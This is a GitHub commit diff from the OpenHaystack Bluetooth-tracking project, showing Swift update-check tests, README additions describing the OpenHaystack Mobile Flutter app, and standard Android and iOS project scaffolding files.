// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import XCTest
@testable import OpenHaystack
class UpdateCheckTests: XCTestCase {
func testCompareVersions() {
let i1 = "1.0.3"
let a1 = "1.0.4"
XCTAssertEqual(UpdateCheckController.compareVersions(availableVersion: a1, installedVersion: i1), .older)
let a11 = "1.1"
XCTAssertEqual(UpdateCheckController.compareVersions(availableVersion: a11, installedVersion: i1), .older)
let a12 = "2"
XCTAssertEqual(UpdateCheckController.compareVersions(availableVersion: a12, installedVersion: i1), .older)
let a2 = "1.0.3"
XCTAssertEqual(UpdateCheckController.compareVersions(availableVersion: a2, installedVersion: i1), .same)
let a3 = "1.0.2"
XCTAssertEqual(UpdateCheckController.compareVersions(availableVersion: a3, installedVersion: i1), .newer)
let a31 = "1.0"
XCTAssertEqual(UpdateCheckController.compareVersions(availableVersion: a31, installedVersion: i1), .newer)
let a32 = "0.10.1"
XCTAssertEqual(UpdateCheckController.compareVersions(availableVersion: a32, installedVersion: i1), .newer)
let a4 = "1.1.1"
let i4 = "1.1.2"
XCTAssertEqual(UpdateCheckController.compareVersions(availableVersion: a4, installedVersion: i4), .newer)
let a41 = "1.0.2"
XCTAssertEqual(UpdateCheckController.compareVersions(availableVersion: a41, installedVersion: i1), .newer)
}
func testHTMLVersionCompare() {
let github =
"""
<h1 data-view-component="true" class="d-inline mr-3"><a href="/seemoo-lab/openhaystack/releases/tag/v0.4.1" data-view-component="true" class="Link--primary">Release v0.4.1</a></h1>
<h1 data-view-component="true" class="d-inline mr-3"><a href="/seemoo-lab/openhaystack/releases/tag/v0.4.1" data-view-component="true" class="Link--primary">Release v0.4.1</a></h1>
<a href="/seemoo-lab/openhaystack/releases/tag/v0.4.1" data-view-component="true" class="Link--primary">Release v0.4.1</a>
"""
XCTAssertEqual(UpdateCheckController.getVersion(from: github), "0.4.1")
let h1 = "<h1>Release v0.4.1</h1> <h1>Release v0.3.1</h1>"
XCTAssertEqual(UpdateCheckController.getVersion(from: h1), "0.4.1")
let h2 = "<h1>Release v0.5</h1>"
XCTAssertEqual(UpdateCheckController.getVersion(from: h2), "0.5")
let h3 = "<h1>Release v1.5</h1>"
XCTAssertEqual(UpdateCheckController.getVersion(from: h3), "1.5")
let h4 = "<h1>Release v1</h1>"
XCTAssertEqual(UpdateCheckController.getVersion(from: h4), "1")
}
func testDownload() {
let expect = expectation(description: "Update download")
UpdateCheckController.downloadUpdate(
version: "0.4.1",
finished: { success in
XCTAssertTrue(success)
expect.fulfill()
})
wait(for: [expect], timeout: 20.0)
}
}

View File

@@ -19,6 +19,7 @@ OpenHaystack is a framework for tracking personal Bluetooth devices via Apple's
- [Finding](#finding-3)
- [Searching](#searching-4)
- [How to track other Bluetooth devices?](#how-to-track-other-bluetooth-devices)
- [OpenHaystack Mobile](#openhaystack-mobile)
- [Authors](#authors)
- [References](#references)
- [License](#license)
@@ -58,6 +59,7 @@ Our plugin does not access any other private data such as emails (see [source co
2. Open OpenHaystack. This will ask you to install the Mail plugin in `~/Library/Mail/Bundle`.
3. Open a terminal and run `sudo spctl --master-disable`, which will disable Gatekeeper and allow our Apple Mail plugin to run.
4. Open Apple Mail. Go to _Preferences__General__Manage Plug-Ins..._ and activate the checkbox next to _OpenHaystackMail.mailbundle_.
* If the _Manage Plug-Ins..._ button does not appear. Run this command in terminal `sudo defaults write "/Library/Preferences/com.apple.mail" EnableBundles 1`
5. Allow access and restart Mail.
6. Open a terminal and enter `sudo spctl --master-enable`, which will enable Gatekeeper again.
@@ -109,12 +111,21 @@ Feel free to port OpenHaystack to other devices that support Bluetooth Low Energ
| Platform | Tested on | Deploy via app | Comment |
|----------|-----------|:--------------:|---------|
| [Nordic nRF51](Firmware/Microbit_v1) | BBC micro:bit v1 | ✓ | Only supports nRF51288 at this time (see issue #6). |
| [Nordic nRF51](Firmware/Microbit_v1) | BBC micro:bit v1 | ✓ | Only supports nRF51822 at this time (see issue #6). |
| [Espressif ESP32](Firmware/ESP32) | SP32-WROOM, ESP32-WROVER | ✓ | Deployment can take up to 3 minutes. Requires Python 3. Thanks **@fhessel**. |
| [Linux HCI](Firmware/Linux_HCI) | Raspberry Pi 4 w/ Raspbian | | Should support any Linux machine. |
![Setup](Resources/Setup.jpg)
## OpenHaystack Mobile
OpenHaystack Mobile is a complete reimplementation of the OpenHaystack macOS application for smartphones. The app provides the same functionality to create and track accessories and aims to increase the usability, especially for new users. In contrast to the macOS application, the location reports cannot be fetched directly on the smartphone, so the app requires a proxy server hosted on Mac hardware to access the Find My network. The proxy server can be accessed over a network by multiple users simultaneously.
To connect to your proxy server set the correct URL in: openhaystack-mobile/lib/findMy/reports_fetcher.dart
<img width="300" src="./Resources/mobile-map-view.png"> <img width="300" src="./Resources/mobile-accessory-history.png">
OpenHaystack Mobile is built with the cross-platform [Flutter framework](https://flutter.dev/) and currently runs on Android and iOS. More information about the app and usage instructions can be found in the [openhaystack-mobile](openhaystack-mobile) folder of this repository.
## Authors
- **Alexander Heinrich** ([@Sn0wfreezeDev](https://github.com/Sn0wfreezeDev), [email](mailto:aheinrich@seemoo.tu-darmstadt.de))
@@ -122,7 +133,8 @@ Feel free to port OpenHaystack to other devices that support Bluetooth Low Energ
## References
- Alexander Heinrich, Milan Stute, Tim Kornhuber, Matthias Hollick. **Who Can _Find My_ Devices? Security and Privacy of Apple's Crowd-Sourced Bluetooth Location Tracking System.** _Proceedings on Privacy Enhancing Technologies (PoPETs)_, 2021. [📄 Preprint](https://arxiv.org/abs/2103.02282).
- Alexander Heinrich, Milan Stute, Tim Kornhuber, Matthias Hollick. **Who Can _Find My_ Devices? Security and Privacy of Apple's Crowd-Sourced Bluetooth Location Tracking System.** _Proceedings on Privacy Enhancing Technologies (PoPETs)_, 2021. [doi:10.2478/popets-2021-0045](https://doi.org/10.2478/popets-2021-0045) [📄 Paper](https://www.petsymposium.org/2021/files/papers/issue3/popets-2021-0045.pdf) [📄 Preprint](https://arxiv.org/abs/2103.02282).
- Alexander Heinrich, Milan Stute, and Matthias Hollick. **DEMO: OpenHaystack: A Framework for Tracking Personal Bluetooth Devices via Apples Massive Find My Network.** _14th ACM Conference on Security and Privacy in Wireless and Mobile (WiSec 21)_, 2021.
- Tim Kornhuber. **Analysis of Apple's Crowd-Sourced Location Tracking System.** _Technical University of Darmstadt_, Master's thesis, 2020.
- Apple Inc. **Find My Network Accessory Specification Developer Preview Release R3.** 2020. [📄 Download](https://developer.apple.com/find-my/).

BIN
Resources/Pins-NRF52832.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 276 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 MiB

46
openhaystack-mobile/.gitignore vendored Normal file
View File

@@ -0,0 +1,46 @@
# Miscellaneous
*.class
*.log
*.pyc
*.swp
.DS_Store
.atom/
.buildlog/
.history
.svn/
# IntelliJ related
*.iml
*.ipr
*.iws
.idea/
# The .vscode folder contains launch configuration and tasks you configure in
# VS Code which you may wish to be included in version control, so this line
# is commented out by default.
#.vscode/
# Flutter/Dart/Pub related
**/doc/api/
**/ios/Flutter/.last_build_id
.dart_tool/
.flutter-plugins
.flutter-plugins-dependencies
.packages
.pub-cache/
.pub/
/build/
# Web related
lib/generated_plugin_registrant.dart
# Symbolication related
app.*.symbols
# Obfuscation related
app.*.map.json
# Android Studio will place build artifacts here
/android/app/debug
/android/app/profile
/android/app/release

View File

@@ -0,0 +1,10 @@
# This file tracks properties of this Flutter project.
# Used by Flutter tool to assess capabilities and perform upgrades etc.
#
# This file should be version controlled and should not be manually edited.
version:
revision: 18116933e77adc82f80866c928266a5b4f1ed645
channel: stable
project_type: app

View File

@@ -0,0 +1,52 @@
# OpenHaystack Mobile
Porting OpenHaystack to Mobile
# About OpenHaystack
OpenHaystack is a project that allows location tracking of Bluetooth Low Energy (BLE) devices over Apples Find My Network.
# Development
This project is written in [Dart](https://dart.dev/), using the cross platform development framework [Flutter](https://flutter.dev/). This allows the creation of apps for all major platforms using a single code base.
## Requisites
To develop and build the project the following tools are needed and should be installed.
- [Flutter SDK](https://docs.flutter.dev/get-started/install)
- [Xcode](https://developer.apple.com/xcode/) (for iOS)
- [Android SDK / Studio](https://developer.android.com/studio/) (for Android)
- (optional) IDE Plugin (e.g. for [VS Code](https://marketplace.visualstudio.com/items?itemName=Dart-Code.flutter))
To check the installation run `flutter doctor`. Before continuing review all displayed errors.
## Getting Started
First the necessary dependencies need to be installed. The IDE plugin may take care of this automatically.
```bash
$ flutter pub get
```
Then set the location proxy server URL in [reports_fetcher.dart](lib/findMy/reports_fetcher.dart) (replace `https://add-your-proxy-server-here/getLocationReports` with your custom URL).
To run the debug version of the app start a supported emulator and run
```bash
$ flutter run
```
When the app is running a new key pair can be created / imported in the app.
## Project Structure
The project follows the default structure for flutter applications. The `android`, `ios` and `web` folders contain native projects for the specified platform. Native code can be added here for example to access special APIs.
The business logic and UI can be found in the `lib` folder. This folder is furthermore separated into modules containing code regarding a common aspect.
The business logic for accessing and decrypting the location reports is separated in the `findMy` folder for easier reuse.
## Building
This project currently supports iOS and Android targets.
If you are building the project for the first time, you need to run
```bash
$ flutter pub run flutter_launcher_icons:main
```
to create the icons and then, to create a distributable application package run
```bash
$ flutter build [ios|apk|web]
```
The resulting build artifacts can be found in the `build` folder. To deploy the artifacts to a device consult the platform specific documentation.

View File

@@ -0,0 +1,29 @@
# This file configures the analyzer, which statically analyzes Dart code to
# check for errors, warnings, and lints.
#
# The issues identified by the analyzer are surfaced in the UI of Dart-enabled
# IDEs (https://dart.dev/tools#ides-and-editors). The analyzer can also be
# invoked from the command line by running `flutter analyze`.
# The following line activates a set of recommended lints for Flutter apps,
# packages, and plugins designed to encourage good coding practices.
include: package:flutter_lints/flutter.yaml
linter:
# The lint rules applied to this project can be customized in the
# section below to disable rules from the `package:flutter_lints/flutter.yaml`
# included above or to enable additional rules. A list of all available lints
# and their documentation is published at
# https://dart-lang.github.io/linter/lints/index.html.
#
# Instead of disabling a lint rule for the entire project in the
# section below, it can also be suppressed for a single line of code
# or a specific dart file by using the `// ignore: name_of_lint` and
# `// ignore_for_file: name_of_lint` syntax on the line or in the file
# producing the lint.
rules:
# avoid_print: false # Uncomment to disable the `avoid_print` rule
# prefer_single_quotes: true # Uncomment to enable the `prefer_single_quotes` rule
# Additional information about this file can be found at
# https://dart.dev/guides/language/analysis-options

13
openhaystack-mobile/android/.gitignore vendored Normal file
View File

@@ -0,0 +1,13 @@
gradle-wrapper.jar
/.gradle
/captures/
/gradlew
/gradlew.bat
/local.properties
GeneratedPluginRegistrant.java
# Remember to never publicly share your keystore.
# See https://flutter.dev/docs/deployment/android#reference-the-keystore-from-the-app
key.properties
**/*.keystore
**/*.jks

View File

@@ -0,0 +1,68 @@
def localProperties = new Properties()
def localPropertiesFile = rootProject.file('local.properties')
if (localPropertiesFile.exists()) {
localPropertiesFile.withReader('UTF-8') { reader ->
localProperties.load(reader)
}
}
def flutterRoot = localProperties.getProperty('flutter.sdk')
if (flutterRoot == null) {
throw new GradleException("Flutter SDK not found. Define location with flutter.sdk in the local.properties file.")
}
def flutterVersionCode = localProperties.getProperty('flutter.versionCode')
if (flutterVersionCode == null) {
flutterVersionCode = '1'
}
def flutterVersionName = localProperties.getProperty('flutter.versionName')
if (flutterVersionName == null) {
flutterVersionName = '1.0'
}
apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply from: "$flutterRoot/packages/flutter_tools/gradle/flutter.gradle"
android {
compileSdkVersion 31
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
kotlinOptions {
jvmTarget = '1.8'
}
sourceSets {
main.java.srcDirs += 'src/main/kotlin'
}
defaultConfig {
// TODO: Specify your own unique Application ID (https://developer.android.com/studio/build/application-id.html).
applicationId "de.seemoo.android.openhaystack"
minSdkVersion 21
targetSdkVersion 30
versionCode flutterVersionCode.toInteger()
versionName flutterVersionName
}
buildTypes {
release {
// TODO: Add your own signing config for the release build.
// Signing with the debug keys for now, so `flutter run --release` works.
signingConfig signingConfigs.debug
}
}
}
flutter {
source '../..'
}
dependencies {
implementation "org.jetbrains.kotlin:kotlin-stdlib-jdk7:$kotlin_version"
}

View File

@@ -0,0 +1,22 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="de.seemoo.android.openhaystack">
<!-- Flutter needs it to communicate with the running application
to allow setting breakpoints, to provide hot reload, etc.
-->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<queries>
<!-- If your app opens https URLs -->
<intent>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="https" />
</intent>
<!-- If your app sends emails -->
<intent>
<action android:name="android.intent.action.SEND" />
<data android:mimeType="*/*" />
</intent>
</queries>
</manifest>

View File

@@ -0,0 +1,63 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="de.seemoo.android.openhaystack">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<application
android:label="OpenHaystack"
android:icon="@mipmap/ic_launcher">
<activity
android:name=".MainActivity"
android:launchMode="singleTop"
android:theme="@style/LaunchTheme"
android:configChanges="orientation|keyboardHidden|keyboard|screenSize|smallestScreenSize|locale|layoutDirection|fontScale|screenLayout|density|uiMode"
android:hardwareAccelerated="true"
android:windowSoftInputMode="adjustResize">
<!-- Specifies an Android theme to apply to this Activity as soon as
the Android process has started. This theme is visible to the user
while the Flutter UI initializes. After that, this theme continues
to determine the Window background behind the Flutter UI. -->
<meta-data
android:name="io.flutter.embedding.android.NormalTheme"
android:resource="@style/NormalTheme"
/>
<!-- Displays an Android View that continues showing the launch screen
Drawable until Flutter paints its first frame, then this splash
screen fades out. A splash screen is useful to avoid any visual
gap between the end of Android's launch screen and the painting of
Flutter's first frame. -->
<meta-data
android:name="io.flutter.embedding.android.SplashScreenDrawable"
android:resource="@drawable/launch_background"
/>
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="application/json" />
</intent-filter>
</activity>
<!-- Don't delete the meta-data below.
This is used by the Flutter tool to generate GeneratedPluginRegistrant.java -->
<meta-data
android:name="flutterEmbedding"
android:value="2" />
</application>
<queries>
<!-- If your app opens https URLs -->
<intent>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="https" />
</intent>
<!-- If your app sends emails -->
<intent>
<action android:name="android.intent.action.SEND" />
<data android:mimeType="*/*" />
</intent>
</queries>
</manifest>

View File

@@ -0,0 +1,6 @@
package de.seemoo.android.openhaystack
import io.flutter.embedding.android.FlutterActivity
class MainActivity: FlutterActivity() {
}

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Modify this file to customize your launch splash screen -->
<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
<item android:drawable="?android:colorBackground" />
<!-- You can insert your own image assets here -->
<!-- <item>
<bitmap
android:gravity="center"
android:src="@mipmap/launch_image" />
</item> -->
</layer-list>

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Modify this file to customize your launch splash screen -->
<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
<item android:drawable="@android:color/white" />
<!-- You can insert your own image assets here -->
<!-- <item>
<bitmap
android:gravity="center"
android:src="@mipmap/launch_image" />
</item> -->
</layer-list>

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

View File

@@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<!-- Theme applied to the Android Window while the process is starting when the OS's Dark Mode setting is on -->
<style name="LaunchTheme" parent="@android:style/Theme.Black.NoTitleBar">
<!-- Show a splash screen on the activity. Automatically removed when
Flutter draws its first frame -->
<item name="android:windowBackground">@drawable/launch_background</item>
</style>
<!-- Theme applied to the Android Window as soon as the process has started.
This theme determines the color of the Android Window while your
Flutter UI initializes, as well as behind your Flutter UI while its
running.
This Theme is only used starting with V2 of Flutter's Android embedding. -->
<style name="NormalTheme" parent="@android:style/Theme.Black.NoTitleBar">
<item name="android:windowBackground">?android:colorBackground</item>
</style>
</resources>

View File

@@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<!-- Theme applied to the Android Window while the process is starting when the OS's Dark Mode setting is off -->
<style name="LaunchTheme" parent="@android:style/Theme.Light.NoTitleBar">
<!-- Show a splash screen on the activity. Automatically removed when
Flutter draws its first frame -->
<item name="android:windowBackground">@drawable/launch_background</item>
</style>
<!-- Theme applied to the Android Window as soon as the process has started.
This theme determines the color of the Android Window while your
Flutter UI initializes, as well as behind your Flutter UI while its
running.
This Theme is only used starting with V2 of Flutter's Android embedding. -->
<style name="NormalTheme" parent="@android:style/Theme.Light.NoTitleBar">
<item name="android:windowBackground">?android:colorBackground</item>
</style>
</resources>

View File

@@ -0,0 +1,22 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="de.seemoo.android.openhaystack">
<!-- Flutter needs it to communicate with the running application
to allow setting breakpoints, to provide hot reload, etc.
-->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<queries>
<!-- If your app opens https URLs -->
<intent>
<action android:name="android.intent.action.VIEW" />
<data android:scheme="https" />
</intent>
<!-- If your app sends emails -->
<intent>
<action android:name="android.intent.action.SEND" />
<data android:mimeType="*/*" />
</intent>
</queries>
</manifest>

View File

@@ -0,0 +1,29 @@
buildscript {
ext.kotlin_version = '1.6.0'
repositories {
google()
mavenCentral()
}
dependencies {
classpath 'com.android.tools.build:gradle:4.1.0'
classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
}
}
allprojects {
repositories {
google()
mavenCentral()
}
}
rootProject.buildDir = '../build'
subprojects {
project.buildDir = "${rootProject.buildDir}/${project.name}"
project.evaluationDependsOn(':app')
}
task clean(type: Delete) {
delete rootProject.buildDir
}

View File

@@ -0,0 +1,3 @@
org.gradle.jvmargs=-Xmx1536M
android.useAndroidX=true
android.enableJetifier=true

View File

@@ -0,0 +1,6 @@
#Fri Jun 23 08:50:38 CEST 2017
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-6.7-all.zip

View File

@@ -0,0 +1,11 @@
include ':app'
def localPropertiesFile = new File(rootProject.projectDir, "local.properties")
def properties = new Properties()
assert localPropertiesFile.exists()
localPropertiesFile.withReader("UTF-8") { reader -> properties.load(reader) }
def flutterSdkPath = properties.getProperty("flutter.sdk")
assert flutterSdkPath != null, "flutter.sdk not set in local.properties"
apply from: "$flutterSdkPath/packages/flutter_tools/gradle/app_plugin_loader.gradle"

Binary file not shown.

After

Width:  |  Height:  |  Size: 671 KiB

34
openhaystack-mobile/ios/.gitignore vendored Normal file
View File

@@ -0,0 +1,34 @@
**/dgph
*.mode1v3
*.mode2v3
*.moved-aside
*.pbxuser
*.perspectivev3
**/*sync/
.sconsign.dblite
.tags*
**/.vagrant/
**/DerivedData/
Icon?
**/Pods/
**/.symlinks/
profile
xcuserdata
**/.generated/
Flutter/App.framework
Flutter/Flutter.framework
Flutter/Flutter.podspec
Flutter/Generated.xcconfig
Flutter/ephemeral/
Flutter/app.flx
Flutter/app.zip
Flutter/flutter_assets/
Flutter/flutter_export_environment.sh
ServiceDefinitions.json
Runner/GeneratedPluginRegistrant.*
# Exceptions to above rules.
!default.mode1v3
!default.mode2v3
!default.pbxuser
!default.perspectivev3

View File

@@ -0,0 +1,26 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleExecutable</key>
<string>App</string>
<key>CFBundleIdentifier</key>
<string>io.flutter.flutter.app</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>App</string>
<key>CFBundlePackageType</key>
<string>FMWK</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>MinimumOSVersion</key>
<string>9.0</string>
</dict>
</plist>

View File

@@ -0,0 +1,2 @@
#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig"
#include "Generated.xcconfig"

View File

@@ -0,0 +1,2 @@
#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig"
#include "Generated.xcconfig"

Some files were not shown because too many files have changed in this diff Show More